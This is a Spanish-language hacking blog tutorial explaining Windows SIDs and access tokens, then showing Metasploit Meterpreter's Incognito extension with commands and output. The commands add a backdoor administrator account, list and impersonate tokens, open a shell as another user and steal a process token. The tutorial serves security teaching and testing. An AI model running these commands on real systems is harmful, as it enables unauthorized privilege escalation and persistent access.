Meterpreter e Incognito, Impersonalizando Tokens.
METERPRETER, INCOGNITO Y EL MODELO DE SEGURIDAD EN WINDOWS
Modelo de Seguridad Windows
El modelo de seguridad en Windows consiste en el uso de un mecanismo de autenticación/autorización que permite a cada usuario ingresar al sistema con determinados perfiles y con diferentes tipos de privilegios sobre el sistema. En windows cada usuario esta asociado a un Security Identifier (SID) que permite identificar de forma única a cada usuario, un SID consiste de:
S- Nivel de Revision – Valor de Autoridad – dominio o Identificador Local – Identificador relativo
S-1-5-21-46XXXXXXXXXXXXXXXXXXXXX-XXX-1022
Cuando un usuario en Windows se autentica e inicia sesión en el sistema, el siguiente procedimiento es llevado a cabo por el sistema operativo:
-
El sistema intenta consultar que el usuario y la clave ingresada sean correctos de acuerdo a la base de datos interna de usuarios del sistema (SAM).
-
Una vez inicia sesión, el sistema instancia un User Process que tiene asociado a su vez un Primary Token (normalmente se puede ver en los procesos del sistema con el nombre de userinit.exe) que contiene la información asociada al usuario, esta información incluye, SID, privilegios, grupos y configuraciones personalizadas.
-
Posteriormente se instancian varios Threads que dependen del User Process creado, cada uno de estos Threads tiene también asociado el mismo Primary Token asociado al User Process.
-
Cuando un usuario quiere usar algún recurso o ejecutar una operación, dicho recurso/operación tiene asociados una serie de privilegios, el Thread encargado de realizar dicha acción suministra al recurso su Primary Token (que es común a todos los Thread dependientes del User Process) si este Token cumple con los privilegios establecidos por el recurso, el Thread podrá acceder a dicho recurso, en caso contrario se producirá un acceso denegado al recurso/operación.
Una vez comprendido esto, la “impersonalización” de Tokens consiste, básicamente en la creación de Tokens para acceder a determinados recursos falseando la identidad del usuario, por ejemplo:
-
Supongamos que el User Process es un Servidor FTP, un usuario puede acceder a dicho servidor de forma anónima o con una cuenta de usuario valida, en ese momento el proceso FTP tiene el Primary Token creado en el proceso de autenticación/autorización y este a su vez es compartido por todos los Threads creados por el proceso de FTP
-
Un usuario se autentica y por medio de incognito (por ejemplo) crea un token impersonal y con este reemplaza el Primary Token creado por el servidor FTP para un Thread particular, de esta forma, solicita el acceso a un recurso por medio de este token creado e inyectado al Thread.
-
El recurso verifica los privilegios asociados y si los cumple garantiza el acceso, por lo tanto, es posible que dicho token tenga información falsa sobre el SID que realmente esta accediendo a dicho recurso.
Ahora bien, pueden existir dos amenazas relacionadas con “impersonalización” de tokens, Escalado de Privilegios locales, y Escalado de Privilegios de Dominio.
Escalado de privilegios Locales:
Consiste en la explotación de un proceso en la maquina objetivo por medio de un exploit o aprovechando alguna vulnerabilidad del servicio, una vez un atacante accede a dicho proceso, este puede acceder a todos los tokens e impersonalizarlos.
Escalado de Privilegios de Dominio:
Es la extensión del escalado de privilegios locales, pero resulta ser una gran amenaza dado que consiste en la replicación del ataque hacia otras maquinas por medio del proceso explotación usando tokens impersonalizados y de esta forma, acceder a otras maquinas en el dominio (y evidentemente, intentar comprometerlas también), este tipo de tokens son generalmente creados para sesiones interactivas.
Usando Incognito
Con incógnito podemos crear usuarios en la maquina objetivo, y tokens falsos, pudiendo de esta forma crear un usuario perteneciente a cualquier grupo que nosotros deseemos, (como por ejemplo al grupo de los administradores) su uso, como es habitual en los comandos de meterpreter resulta bastante sencillo.
Nota: Es necesario tener privilegios de system para poder realizar esto, por este motivo, se debería utilizar el comando getsystem de meterpreter antes de ejecutarlo, en el caso de que este comando no consiga escalar privilegios de forma adecuada, atentos a la próxima entrada, donde se detallaran técnicas de escalado de privilegios usando Meterpreter de MetaSploit Framework.
meterpreter > use incognito
Loading extension incognito…success.
meterpreter > add_user joss joss
[*] Attempting to add user joss to host 10.130.121.36
[+] Successfully added user
meterpreter > add_localgroup_user Administrators joss
[*] Attempting to add userjoss to localgroup Administrators on host 10.130.121.36
[+] Successfully added user to local group
Por otro lado también podemos conocer los tokens asociados a un usuario o grupo en particular por medio del comado list_tokens
meterpreter > list_tokens
Usage: list_tokens <list_order_option>
Lists all accessible tokens and their privilege level
OPTIONS:
-g List tokens by unique groupname
-u List tokens by unique username
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
OWNER\Owner
OWNER\postgres
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
Como puede verse, existen diferentes tokens de delegación disponibles para su uso, podríamos utilizar el token Owner o Postgres.
meterpreter > impersonate_token OWNER\\Owner
[+] Delegation token available
[+] Successfully impersonated user OWNER\Owner
meterpreter > getuid
Server username: OWNER\Owner
meterpreter > shell
Process 992 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Owner>echo %USERNAME%
echo %USERNAME%
Owner
Ahora, como hemos impersonalizado los tokens para el usuario Owner, podemos ver el listado de tokens disponibles para dicho usuario:
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
OWNER\Owner
Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM
Posteriormente, podemos consultar los procesos en ejecución del usuario Owner y podremos obtener aquellos que se encuentran asociados a dicho usuario, podemos usar el comando steal_token para obtener el token primario del proceso de usuario que nos interese. Por ejemplo, supongamos que el proceso explorer.exe tiene el PID 956, con meterpreter e incognito es tan simple como:
meterpreter > steal_token 956
Stolen token with username: OWNER\Owner
Número de Visitas:
Twitter Adastra
- RT @kinomakino: INSEGUROS: Tips & Tricks.FIcheros,Token Kerberos, Dynamic Access Control Windows Server 2012. kinomakino.blogspot.com/2013/05/tips-t… 2 days ago
- RT @SecurityTube: [Video] Tor Based Botnets securitytube.net/video/7544 2 days ago
- WEB HACKING – Atacando DOJO Hackme Casino – Sesiones inseguras en Ruby On Rails - Parte XXIX wp.me/p1nWCG-CD 3 days ago
- RT @kinomakino: INSEGUROS: Tips & Tricks. Implementación de servidor de sesio... kinomakino.blogspot.com/2013/05/tips-t… 4 days ago
- RT @exploitdb: [local] - Linux Kernel open-time Capability file_ns_capable() Privilege Escalation: Linux Kernel open-time Cap... http://t.c… 5 days ago
- RT @kinomakino: Mi perfil Linkedin lnkd.in/nCatAv 1 week ago
- WEB HACKING – Atacando DOJO Hackme Casino – Controladores inseguros en Ruby OnRails - Parte XXVIII wp.me/p1nWCG-Cl 1 week ago
Entradas recientes
- WEB HACKING – Atacando DOJO Hackme Casino – Sesiones inseguras en Ruby On Rails – Parte XXIX
- WEB HACKING – Atacando DOJO Hacme Casino – Controladores inseguros en Ruby OnRails – Parte XXVIII
- WEB HACKING – Atacando DOJO Hacme Casino – Otras Vulnerabilidades Parte XXVII
- WEB HACKING – Atacando DOJO Hacme Casino – Vulnerabilidad CSRF Parte XXVI
- Pasando de Netcat a Cryptcat
- WEB HACKING – Atacando DOJO Vulnerabilidades SQL Injection en Hacme Casino Parte XXV
- WEB HACKING – Atacando DOJO Enumeración Hacme Casino Parte XXIV
- WEB HACKING – Vulnerabilidades en XAMPP (Continuación) – Parte XXIII
- WEB HACKING – Vulnerabilidades en XAMPP – Parte XXII
- 2 años
- W3AFRemote r01 Liberado…
- WEB HACKING – Atacando servidores web vulnerables Tomcat – Parte XXI
- WEB HACKING – Algunos Ataques directos contra servidores web Apache – Parte XX
- WEB HACKING – Ataques directos contra servidores web – Parte XIX
- WEB HACKING – Arquitecturas web vulnerables – Parte XVIII
Entradas
Calendario de Entradas
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido, he comenzado a editar entradas en este blog dado que he llegado a un punto en el que considero que mis conocimientos también pueden favorecer a otros que tengan las ganas de adquirirlos del mismo modo que lo hago yo. Así que con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas con diferentes facetas de la informática con un énfasis especial en la seguridad.
Citando a Galileo:
"Nunca he encontrado una persona tan ignorante de la que no pueda aprender algo."
"No se puede enseñar nada a un hombre; sólo se le puede ayudar a encontrar la respuesta dentro de sí mismo".
Happy Hack!
Blogroll
Blogs Interesantes
Mensajes y Páginas Populares
- Wireless Hacking – Descubriendo APs con SSID ocultos y evadiendo Mac Filters – Parte IV
- Creando un "Fake" Access Point Inalámbrico
- Preservando el Anonimato y Extendiendo su Uso – Conceptos Esenciales de TOR – Parte I
- Uso practico de John The Ripper
- Hydra, Ataques de Fuerza Bruta
- Que es el Hacking
- Conceptos Básicos, Avanzados y Herramientas de Footprinting/FingerPrinting – Maltego
- Wireless Hacking – Cracking WPA/PSK utilizando Honeypots WPA /WPA2 – Parte XVI
- Wireless Hacking – Utilizando Cowpatty y Pyrit para optimizar ataques por diccionario contra WPA/WPA2 – Parte XV
- WEB HACKING – Atacando DOJO Hackme Casino – Sesiones inseguras en Ruby On Rails - Parte XXIX
- Conceptos Basicos de Meterpreter - MetaSploit Framework
- WEB HACKING - Ataques directos contra servidores web - Parte XIX
